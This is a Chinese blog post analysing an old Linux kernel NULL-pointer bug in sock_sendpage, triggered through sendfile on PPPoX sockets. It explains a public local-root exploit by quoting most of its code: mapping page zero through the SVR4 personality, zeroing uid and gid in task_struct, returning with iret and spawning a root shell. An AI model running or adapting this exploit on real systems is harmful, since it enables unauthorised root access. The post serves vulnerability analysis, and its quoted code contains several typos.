一个由sendfile引发的linux内核BUG

简介:

在论坛上看到一个讲linux内核BUG的帖子,利用这个BUG,一个普通用户能够在运行某个程序之后,获得root权限。

 

示例的代码如下:http://www.securityfocus.com/data/vulnerabilities/exploits/36038-4.tgz 
ubuntu 9.04 ,内核版本2.6.28 .12 的机器上测试通过。

那么,这究竟是怎样一个BUG 呢?这段代码又是怎样利用这个BUG 的呢?
在网上收集了一些信息,并阅读相关部分的内核代码后,整理如下:


内核的BUG 

这个BUG 首先得从sendfile 系统调用说起。
考虑将一个本地文件通过socket 发送出去的问题。我们通常的做法是:打开文件fd 和一个socket ,然后循环地从文件fd 中read 数据,并将读取的数据send 到socket 中。这样,每次读写我们都需要两次系统调用,并且数据会被从内核拷贝到用户空间(read) ,再从用户空间拷贝到内核(send) 。而sendfile 就将整个发送过程封装在一个系统调用中,避免了多次系统调用,避免了数据在内核空间和用户空间之间的大量拷贝。

ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
 

虽然这个系统调用接收in 和out 两个fd ,但是有所限制,in 只能是普通文件,out 只能是socket (这个限制不知道后来的内核版本有没有放宽)。

sendfile
 系统调用在内核里面是怎么实现的呢?这个还是比较复杂,它在内核里面做了原来要在用户态做的事情:创建一个pipe 对象作buffer 用、从in_fd 中读数据到pipe 中、将pipe 中的数据写到out_fd 、循环直到满足结束条件。
关于写数据到out_fd 的过程,简要描述如下:
sys_sendfile => 
入口
do_sendfile => 
参数检查,其中会确定out_fd 对应的file 结构包含sendfile 方法(out_file->f_op->sendpage)
do_splice_direct => 
最终调用到out_file->f_op->splice_write ,而out_file 是个socket ,它的f_op->splice_write 等于generic_splice_sendpage
generic_splice_sendpage => 
最终调用到out_file->f_op->sendpage ,这个sendpage 等于sock_sendpage

sock_sendpage
 的代码如下:

struct socket *sock;
int flags;
sock = file->private_data;
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
    flags |= MSG_MORE;
return sock->ops->sendpage(sock, page, offset, size, flags);
 

注意,BUG 出现了,调用sock->ops->sendpage 之前没有判断这个函数指针是否为NULL 。
(
 这里调用的sock->ops->sendpage 就是out_file->f_op->private_data->ops->sendpage ,out_file->f_op->private_data指针指向的是一个struct socket 结构,因为这个fd 代表的是一个socket 。)

但是,这里的sock->ops->sendpage 可能是NULL 吗?搜索内核代码可以发现,并不是每一种类型的socket 都会实现sendpage 这个函数。但是大多数没有实现这个函数的socket 都将这个函数指针设为sock_no_sendpage( 这基本上是一个例行公事的空函数) 。但是,有少数类型的socket 却没有设置sock->ops->sendpage( 没设置,则默认为NULL),如PF _PPPOX 、PF _BLUETOOTH 、等等。( 上面链接给出的代码就利用了PF _PPPOX ,后来我发现,用PF _BLUETOOTH 也能达到一样的效果,而换用PF_INET 之类的却不行。)


利用这个BUG 

前面我们看到,内核在sendfile 系统调用中,没有判断sock->ops->sendpage 是否为空,就对它进行调用,并且sock->ops->sendpage 的确可能为空。

如果我们的程序中调用一个值为NULL 的函数指针,其结果会怎样?自然是程序崩溃,也仅仅就是崩溃而已。那么,这么个东西是怎么被利用,并实现窃取root 身份的呢?让我们逐步解读上面链接给出的代码。
主函数main() :

char template[] = "/tmp/padlina.XXXXXX"; 
int fdin, fdout; 
void *page; 
uid = getuid(); 
// 
获取用户ID ,后面有用 
gid = getgid(); 
// 获取用户组ID ,后面有用 
setresuid(uid, uid, uid); 
// 确保用户ID 被设置到进程中 
setresgid(gid, gid, gid); 
// 确保用户组ID 被设置到进程中 
// 以下几句就狠了,它把0 ~1000 的地址做了映射,并且置可执行属性 
if ((personality(0xffffffff)) != PER_SVR4) { 
    if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) { 
        perror("mmap"); 
        return -1; 
    } 
} else { 
    if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) { 
        perror("mprotect"); 
        return -1; 
    } 

// 以下几句更狠,在刚刚映射的0 地址上写下JMP 到kernel_code 的指令 
*(char *)0 = '/x90'; 
// nop 
*(char *)1 = '/xe9'; 
// jmp 
*(unsigned long *)2 = (unsigned long)&kernel_code – 6; 
// 这里是相对跳转,-6 就是减去当前地址的地址值 
// 创建一个临时文件,用作源文件 
if ((fdin = mkstemp(template)) < 0) { 
    perror("mkstemp"); 
    return -1; 

// 创建一个socket ,注意其类型为PF_PPPOX 
if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) { 
    perror("socket"); 
    return -1; 

// 下面重点就是sendfile 了 
unlink(template); 
ftruncate(fdin, PAGE_SIZE); 
sendfile(fdout, fdin, NULL, PAGE_SIZE); 


经过前面的介绍,我们可以看到,这里的sendfile 将在系统调用中触发对0 地址的调用。然而,现在0 地址上已经被写下了JMP 到kernel_code 的指令。
这里的kernel_code 实际上是和这个main 在一起编译的一个函数,下面我们将会看到。


现在的处境 

进入sendfile 系统调用后,CPU 进入内核态。内核态能干任何CPU 能干的事情,一般情况下,只有内核代码能在内核态下执行,这是由内核来保证的。但是现在,内核代码调用了0 地址的函数,进入了用户代码kernel_code 。于是,程序员可以在他们自己写的kernel_code 代码中干任何内核能干的事情。
注意,一般从内核态返回到用户态有专门的指令( 比如iret) ,它会同时改变CPU 特权级别。但是现在的情况不是这样,内核代码相当于是直接调用程序员写的函数,并没有返回用户态。

然而另一方面,内核代码可以轻松地访问内核的数据结构,因为内核代码是在一块编译的,对象的地址都知道、结构都清楚。而现在程序员写在kernel_code 里的代码呢?尽管他们拥有与内核代码一样的访问权限,但是却不知道数据的地址和状态,他们现在是个瞎子。
下面,你会看到在kernel_code 的代码中,示例代码的作者是怎样摸着石头过河的。


开始干坏事了 

kernel_code
 函数主要分三个步骤:

1
 、获取task_struct

uint *p = get_current();
 

其中get_current 的代码如下:

__asm__ __volatile__ ( 
    "movl %%esp, %%eax ;" 
// 
将栈指针的值赋给EAX 
    "andl %1, %%eax ;" 
// 将这个栈指针值与~8191( 后13bit 为0) 取与 
    "movl (%%eax), %0" 
// 将结果输出到curr 变量中,此即task_struct 指针 
    : "=r" (curr) 
    : "i" (~8191) 
); 


在内核中,每个进程拥有一个thread_info 结构,以及内核栈。这两样东西是分配在两个连续的page 中的,并且thread_info 结构在前,栈在后。thread_info 结构的第一个元素是task ,它是一个指向task_struct 结构( 即通常所说的进程控制块) 的指针。在这个task_struct 结构中就保存着进程的主要信息。
(注:linux 2.4 时,这里的两个page 存放着task_struct 结构和内核栈,并没有thread_info 这样一层。)
32 位系统中,一个page 的大小是4K ,page 的首字节的地址后12bit 为0 。而task_struct 结构相当于是两page对齐的,其首地址的后13bit 为0 。
由此,通过栈指针的值,将后13bit 清0 后,得到进程对应的thread_info 结构,再以thread_info 结构为指针(该结构的第一个字,即指向task_struct 结构的task 指针),便能得到task_struct 结构。
(其实,通过这样一段汇编代码拿到task_struct 结构还是比较笨的办法。最简单的办法是:取当前栈上定义的任意一个变量,将其地址的后13 位清0 即可。)

2
 、拿到了task_struct ,要干什么呢?示例代码的目标是修改task_struct 中记录的用户信息,以使得这个进程变成是由root 启动的进程。

for (i = 0; i < 1024-13; i++) {     
    if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { 
        p[0] = p[1] = p[2] = p[3] = 0; 
        p[4] = p[5] = p[6] = p[7] = 0; 
        p = (uint *) ((char *)(p + 8) + sizeof(void *)); 
        p[0] = p[1] = p[2] = ~0; 
        break; 
    } 
    p++; 


回想一下,在main 函数中已经获取了用户和用户组ID ,并设置到了进程中( 设置到进程了task_struct 结构中) 。于是,搜索task_struct 结构,试图匹配这几个ID 。因为在不同版本的内核中,这几个ID 放置的位置可能不大相同,但它们出现的顺序总是相同的。
如果被匹配到,那么就找到了这几个ID 的存放地。然后,就可以将它们全部改为0 。于是这个进程就变成root 用户的进程了。

不过这种修改uid 的方法在较新版本的内核中已经行不通了,uid 、gid 这些信息已经不是直接放在task_struct 结构中,而是整理到一个叫cred 的结构,然后task_struct 结构保存了指向对应cred 结构的指针。

3
 、回到用户态
好了,身份已经改好,程序回到用户态去,启动一个shell ,然后好好体会root 生活吧~

__asm__ __volatile__ ( 
    "movl %0, 0x10(%%esp) ;" 
    "movl %1, 0x0c(%%esp) ;" 
    "movl %2, 0x08(%%esp) ;" 
    "movl %3, 0x04(%%esp) ;" 
    "movl %4, 0x00(%%esp) ;" 
    "iret" 
    : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), 
    : "i" (USER_CS), "r" (exit_code) 
); 


这段代码就是将返回地址压在内核栈上,然后iret 返回用户态。返回地址被指定到exit_code 上,这也是和main 编译在一起的一个函数。其代码如下:

if (getuid() != 0) { 
    fprintf(stderr, "failed/n"); 
    exit(-1); 

execl("/bin/sh", "sh", "-i", NULL); 


现在程序已经回到用户态了,调用getuid 看看是不是已经成了root 。确认无洖,启动shell 吧~

问题的点睛 

虽然上面的叙述一口气把这个内核漏洞的来龙去脉讲通了,但是有个重要的细节却一笔代过了。那就是映射0 地址的部分,我觉得这才是整个攻击代码的点睛之笔。其代码大致如下:

if ((personality(0xffffffff)) != PER_SVR4) { 
    mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0);
} else { 
    mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
}

映射0 地址,为什么不是直接的mmap ,还要有这样的分支语句呢?personality 函数和mprotect 函数又是什么意思?
其实,这段攻击代码编译成的可执行文件(记为exploit )并不是直接在shell 上面执行的。而是通过一段C 代码来执行(见源码中的run.c ):

int main(void) {
    if (personality(PER_SVR4) < 0) {
        perror("personality");
        return -1;
    }
    fprintf(stderr, "padlina z lublina!/n");
    execl("./exploit", "exploit", 0);
}

可以看到,在执行之前,也调用了personality 函数。

linux
 内核具有很强的兼容性,不仅可以执行linux 下编译的可执行文件,还可以执行在其他操作系统下编译的可执行文件:对于windows 等一些操作系统上的可执行文件,linux 通过运行于用户态的虚拟机程序(如wine )来运行;而对于某些类unix 系统的可执行文件,linux 则可以直接执行。
然而linux 直接执行类unix 系统的可执行文件,也并不是无缝的,需要设置 执行域 来告诉内核当前执行的是某某系统的可执行文件。于是,linux 内核就会根据对应的类unix 系统的规则(比如内存布局、信号处理等)来运行程序。

上面看到的personality 函数就是用来设置 执行域 的(默认的执行域就是linux ),而上面的启动代码就通过personality 函数将进程的执行域设置为SVR4 (一种较老的类unix 系统,System V Release 4 )。于是,在映射0 地址时将走到调用mprotect 函数的分支(personality(0xffffffff) 表示获取当前的执行域)。
mmap
 是用来分配进程虚拟内存区域的函数,分配的同时可以设置其属性;而mprotect 函数则是专门设置虚拟内存区域属性的函数。上面的攻击代码中,通过这个函数,把0 地址设置为可执行。

在我的系统上,如果直接在shell 上执行exploit 程序(走mmap 的分支),mmap 会失败。因为在32 位linux 上,进程地址空间是从0x08048000 开始使用的(依次是可执行代码区、全局数据区、堆、文件映射区、栈),从0 地址到0x08048000 的空间并不能被映射。

exploit
 程序之所以能够映射0 地址,是因为发现了在SVR4 这种执行域下,进程能够映射0 地址。确切的说,0 地址默认是有映射的存在的,代码只是修改了这个映射的属性。

linux 2.6.29.4 的代码中找到了以下一些内容:
personality.h
 ,对SVR4 执行域有如下选项定义(注意其中有个MMAP_PAGE_ZERO 标记):
enum {
......
PER_SVR4 =   0x0001 | STICKY_TIMEOUTS | MMAP_PAGE_ZERO,
......
};

binfmt_elf.c:load_elf_binary()
 ,在加载elf 格式(linux 下最常用的格式)的可执行文件时,有如下代码(针对MMAP_PAGE_ZERO 标记做了特殊处理):
    ......
if (current->personality & MMAP_PAGE_ZERO) {
      /* Why this, you ask??? Well SVr4 maps page 0 as read-only,
      and some applications "depend" upon this behavior.
      Since we do not have the power to recompile these, we
      emulate the SVr4 behavior. Sigh. */
 
      down_write(&current->mm->mmap_sem);
      error = do_mmap(NULL, 0, PAGE_SIZE, PROT_READ | PROT_EXEC,
      MAP_FIXED | MAP_PRIVATE, 0);
      up_write(&current->mm->mmap_sem);
}
......

看到作者的注释了吧就这样,0 地址被映射了。











本文转自百度技术51CTO博客,原文链接:http://blog.51cto.com/baidutech/744761 ,如需转载请自行联系原作者
相关文章
|
9天前
|
Linux C语言
Linux内核队列queue.h
Linux内核队列queue.h
|
2月前
|
缓存 运维 网络协议
Linux内核参数调优以应对SYN攻击
Linux内核参数调优以应对SYN攻击
43 3
|
28天前
|
存储 Shell Linux
【Shell 命令集合 系统设置 】Linux 生成并更新内核模块的依赖 depmod命令 使用指南
【Shell 命令集合 系统设置 】Linux 生成并更新内核模块的依赖 depmod命令 使用指南
30 0
|
28天前
|
Shell Linux C语言
【Shell 命令集合 系统设置 】⭐Linux 卸载已加载的内核模块rmmod命令 使用指南
【Shell 命令集合 系统设置 】⭐Linux 卸载已加载的内核模块rmmod命令 使用指南
29 1
|
2月前
|
Ubuntu Linux 虚拟化
Linux下的IMX6ULL——构建bootloader、内核、文件系统(四)
Linux下的IMX6ULL——构建bootloader、内核、文件系统(四)
67 0
Linux下的IMX6ULL——构建bootloader、内核、文件系统(四)
|
7天前
|
算法 Linux 调度
深度解析:Linux内核的进程调度机制
【4月更文挑战第12天】 在多任务操作系统如Linux中,进程调度机制是系统的核心组成部分之一,它决定了处理器资源如何分配给多个竞争的进程。本文深入探讨了Linux内核中的进程调度策略和相关算法,包括其设计哲学、实现原理及对系统性能的影响。通过分析进程调度器的工作原理,我们能够理解操作系统如何平衡效率、公平性和响应性,进而优化系统表现和用户体验。
17 3
|
14天前
|
负载均衡 算法 Linux
深度解析:Linux内核调度器的演变与优化策略
【4月更文挑战第5天】 在本文中,我们将深入探讨Linux操作系统的核心组成部分——内核调度器。文章将首先回顾Linux内核调度器的发展历程,从早期的简单轮转调度(Round Robin)到现代的完全公平调度器(Completely Fair Scheduler, CFS)。接着,分析当前CFS面临的挑战以及社区提出的各种优化方案,最后提出未来可能的发展趋势和研究方向。通过本文,读者将对Linux调度器的原理、实现及其优化有一个全面的认识。
|
17天前
|
Linux 内存技术
Linux内核读取spi-nor flash sn
Linux内核读取spi-nor flash sn
13 1
|
23天前
|
存储 网络协议 Linux
【Linux 解惑 】谈谈你对linux内核的理解
【Linux 解惑 】谈谈你对linux内核的理解
22 0
|
28天前
|
存储 Linux Shell
【Shell 命令集合 系统设置 】Linux 显示Linux内核模块的详细信息 modinfo命令 使用指南
【Shell 命令集合 系统设置 】Linux 显示Linux内核模块的详细信息 modinfo命令 使用指南
24 0